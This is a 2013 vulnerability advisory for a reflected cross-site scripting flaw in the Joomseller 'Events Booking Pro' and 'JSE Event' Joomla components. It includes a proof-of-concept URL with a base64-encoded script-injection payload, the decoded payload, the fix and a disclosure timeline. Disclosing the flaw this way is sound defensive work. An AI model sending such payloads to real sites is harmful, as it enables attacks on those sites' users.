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 Joomseller "Events Booking Pro" and "JSE Event" reflected XSS
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[+] Software Link:

http://www.joomseller.com/joomla-components/jse-event.html


[+] Affected Versions:

Component com_events_booking_v5
Component com_jse_event < 1.0.1


[+] Vulnerability Description:

The vulnerable files are the following:

.- For JSE Event:
/modules/mod_jse_mini_calendar/tmpl/tootip.php

.-For Events Booking pro:
/modules/mod_eb_v5_mini_calendar/tmpl/tootip.php

The "info" parameter is not correctly sanitized before being used,
allowing an attacker to perform XSS attacks.

As a proof of concept, an attacker could perform the following request:

http://example.com/modules/mod_eb_v5_mini_calendar/tmpl/tootip.php?info=eyJldmVudHMiOiIoMTU6MDA6MDApIDxzY3JpcHQ%2BYWxlcnQoMSk7PC9zY3JpcHQ%2BIiwgImV2ZW50X2lkIjoiNjQiLCAiaXRlbWlkIjoiMSIsICJldnJfaWQiOiIxMTkxIn0%3D

where the contents of the info parameter is the following payload
encoded using base64 encoding

{"events":"(15:00:00) <script>alert(1);</script>", "event_id":"64",
"itemid":"1", "evr_id":"1191"}


[+] Solution:

Upgrade to JSE Event version 1.0.1.


[+] Report Timeline:

[30/07/2013] - Vulnerability reported to the vendor
[30/07/2013] - Developer confirm vulnerability and update released
[05/08/2013] - Public disclosure


[+] Credits:

Vulnerability discovered by Gaston Traberg.